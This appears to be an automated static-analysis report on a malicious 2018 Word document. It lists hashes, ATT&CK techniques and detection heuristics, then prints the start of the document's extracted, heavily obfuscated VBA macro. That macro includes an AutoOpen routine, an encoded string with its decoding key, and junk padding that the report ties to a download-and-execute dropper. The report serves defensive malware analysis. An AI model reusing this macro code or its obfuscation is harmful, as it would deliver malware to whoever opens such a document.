Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6fd9df5f62444abd…

MALICIOUS

Office (OLE)

1.48 MB Created: 2018-10-08 09:08:00 Authoring application: Microsoft Office Word First seen: 2018-10-19
MD5: 422d18bcf8124928286643a9575147d5 SHA-1: 76b4f3acc1dcd9abb39d28630997aefa07d7c1a3 SHA-256: 6fd9df5f62444abde0b1be3c7883f9f6a5207fd0859f4b1d09c51615926463b9
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing obfuscated VBA macros. The AutoOpen macro utilizes Shell() and CreateObject calls, indicating an attempt to execute arbitrary code. The presence of a VBA macro with a critical severity heuristic and ClamAV detection strongly suggests it's designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscated-6397052-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscated-6397052-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 48701 bytes
SHA-256: 72f8295b1797a50c4b8ba66e493a32c04d0115be067656e695c92b1dd0f73d8d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "oflPRvrTAjynW"
Sub AutoOpen()
Dim goKgycXFCkPiHPkBe As String
Dim DRhBQImdtEj As Integer
DRhBQImdtEj = 4 * 4
goKgycXFCkPiHPkBe = MOMCqdxBOimtoI(gFpVdtRecxaZD("IDc1O2ltbEU1KyY+LDZcN2dQKCRjMD0iKjsgMDw9PEFoVi0m"), "HCAKSBC2PIUVCB2PI3GILUHGCIUGUYO2F3UC2UY3FO23OUYCF32OYUDHOYGU32FVYUO23GF")
Dim vEkNSHwOuRb As Collection
Set vEkNSHwOuRb = New Collection
vEkNSHwOuRb.Add "OhwBMzBIrjYhFemL"
vEkNSHwOuRb.Add "dKFYmvXZCowt"
vEkNSHwOuRb.Add "yYViLhQkACVqCTwcKfc"
HzLeGAXRgdf.TCbXcdeXNMqZmxblkor (goKgycXFCkPiHPkBe)
Dim IaOaoOUYMts As Integer
IaOaoOUYMts = 9 * 9
' OPTIONS
Dim nSbyKOUqWoTVR As Integer
nSbyKOUqWoTVR = 1 * 1
End Sub
Public Function gFpVdtRecxaZD(hMISBQzLztExDPzatfj As String, Optional ukvKdpEqtaVAz As Boolean = True) As String
Dim aWvEPGoFwxxywwwR As Integer
aWvEPGoFwxxywwwR = 7 * 4
Static BiRqsrqxXsJZgzswX(0 To 255) As Byte
Dim YuohuYqcEPevPjUS As Collection
Set YuohuYqcEPevPjUS = New Collection
YuohuYqcEPevPjUS.Add "gSVZfEfczKBq"
YuohuYqcEPevPjUS.Add "CJsDxVFJcaGcSCYRoua"
YuohuYqcEPevPjUS.Add "lzDWqqPEhapSxsFkM"
YuohuYqcEPevPjUS.Add "qopidmcpUMVBnmkr"
YuohuYqcEPevPjUS.Add "gHjbefoozszCaV"
YuohuYqcEPevPjUS.Add "MddgjiZtVifMiVeAm"
Dim CibxomKXcTMvPTr() As Byte, aRtMDxGBlDtwCbjxGF() As Byte
Dim DBKpXhCuniQDgo As Integer
DBKpXhCuniQDgo = 4 * 4
Dim piQhhDnBbGnlTDUklOT As Long, zoevNCNQXisPFPwwm As Long
Dim ldcjTAOrbcTqWEgwy As Integer
ldcjTAOrbcTqWEgwy = 4
Dim xifzfzevhSlDAUDyS As Integer
xifzfzevhSlDAUDyS = 8 * 4
If ldcjTAOrbcTqWEgwy < Len(Application.UserName) Then
Dim VROEgRBLhpbAizRm As Integer
VROEgRBLhpbAizRm = 4 * 9
Dim yZeOWtAxtSaIun As Object
Dim VdzbTdGQqrplVhWs As Integer
VdzbTdGQqrplVhWs = 9 * 4
ldcjTAOrbcTqWEgwy = Len(Application.UserName)
End If
If BiRqsrqxXsJZgzswX(0) = 0 Then
Dim kAkkIPUgOYztg As Integer
kAkkIPUgOYztg = 7 * 9
For piQhhDnBbGnlTDUklOT = 0 To 255
BiRqsrqxXsJZgzswX(piQhhDnBbGnlTDUklOT) = 255
Next piQhhDnBbGnlTDUklOT
Dim pkdQBegNbODMGx As Integer
pkdQBegNbODMGx = 5 * 5
For piQhhDnBbGnlTDUklOT = 0 To 25
Dim NjeTAVYBcsg As Integer
NjeTAVYBcsg = 6 * 4
BiRqsrqxXsJZgzswX(piQhhDnBbGnlTDUklOT + 65) = piQhhDnBbGnlTDUklOT
Dim rSMpDwSNcPcfMXa As Collection
Set rSMpDwSNcPcfMXa = New Collection
rSMpDwSNcPcfMXa.Add "OebHzomXDbnoPdr"
rSMpDwSNcPcfMXa.Add "MFyYeqjChGVfLpm"
rSMpDwSNcPcfMXa.Add "hYtrLABCZdiVyCUVVR"
rSMpDwSNcPcfMXa.Add "nOJeKnMueGeDrahg"
Next piQhhDnBbGnlTDUklOT
Dim NmCEFpmWetwAAqh As Integer
NmCEFpmWetwAAqh = 5
Dim xSvdYCAFQIENjHqB As Integer
xSvdYCAFQIENjHqB = 8
Dim orlUaQfioEjFMmfDw As Integer
orlUaQfioEjFMmfDw = 4
Dim FLHpdMKFwVyuLJoVs As Integer
FLHpdMKFwVyuLJoVs = 7 * 3
If orlUaQfioEjFMmfDw < Len(Application.UserName) Then
Dim nMNHMgtvUimP As Integer
nMNHMgtvUimP = 4
Dim eRLWodhkLSaECkjDVj As Integer
eRLWodhkLSaECkjDVj = 4 * 7
If nMNHMgtvUimP < Len(Application.UserName) Then
Dim rWmWZkDIQerwXhzrZtj As Integer
rWmWZkDIQerwXhzrZtj = 2 * 3
Dim wQrjltEAtiAanICHI As Object
Dim OhILUoHBGarF As Integer
OhILUoHBGarF = 5
Dim lOitWaOIXoY As Integer
lOitWaOIXoY = 8 * 4
If OhILUoHBGarF < Len(Application.UserName) Then
Dim KIownmMkjUxn As Integer
KIownmMkjUxn = 5 * 4
Dim YHLgKnaBdBXror As Object
Dim lTZMfRkNFmg As Integer
lTZMfRkNFmg = 7 * 5
OhILUoHBGarF = Len(Application.UserName)
End If
nMNHMgtvUimP = Len(Application.UserName)
End If
Dim xVvfLjHnpvnbug As Object
Dim qbShWMnCaQH As Integer
qbShWMnCaQH = 1 * 6
orlUaQfioEjFMmfDw = Len(Application.UserName)
End If
If xSvdYCAFQIENjHqB < Len(Application.UserName) Then
Dim bCpJBbEggOxNUCT As Integer
bCpJBbEggOxNUCT = 7
Dim FHQCDtFXaRc As Integer
FHQCDtFXaRc = 7
Dim obYdNvkGHyWOFqO As Integer
obYdNvkGHyWOFqO = 6
Dim wBMLoEenHYDiyELyrk As Integer
wBMLoEenHYDiyELyrk = 8
Dim lfVnFBwUgaLCveP As Integer
lfVnFBwUgaLCveP = 8 * 3
If wBMLoEenHYDiyELyrk < Len(App
... (truncated)